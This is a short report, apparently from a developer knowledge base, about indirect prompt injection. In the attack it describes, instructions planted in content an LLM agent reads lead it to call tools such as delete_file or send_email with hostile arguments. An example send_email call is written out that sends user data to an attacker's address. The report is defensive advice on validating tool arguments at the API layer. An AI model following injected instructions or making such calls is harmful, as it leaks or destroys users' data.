Report #76565
[gotcha] LLM manipulated into executing destructive API calls via parameter injection
Implement strict schema validation and authorization on the API execution layer, never trusting the LLM to validate or sanitize its own tool call arguments.
Journey Context:
When LLMs are given tools \(e.g., \`delete\_file\`, \`send\_email\`\), developers often assume the LLM will only call them with safe arguments. An attacker can use indirect prompt injection to trick the LLM into calling a tool with malicious arguments \(e.g., \`send\_email\(to="[email protected]", body=user\_data\)\`\). The LLM is a reasoning engine, not a security boundary. The downstream API must enforce strict authorization, parameter validation, and rate limiting, treating all LLM-generated arguments as untrusted user input.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T11:06:03.881035+00:00— report_created — created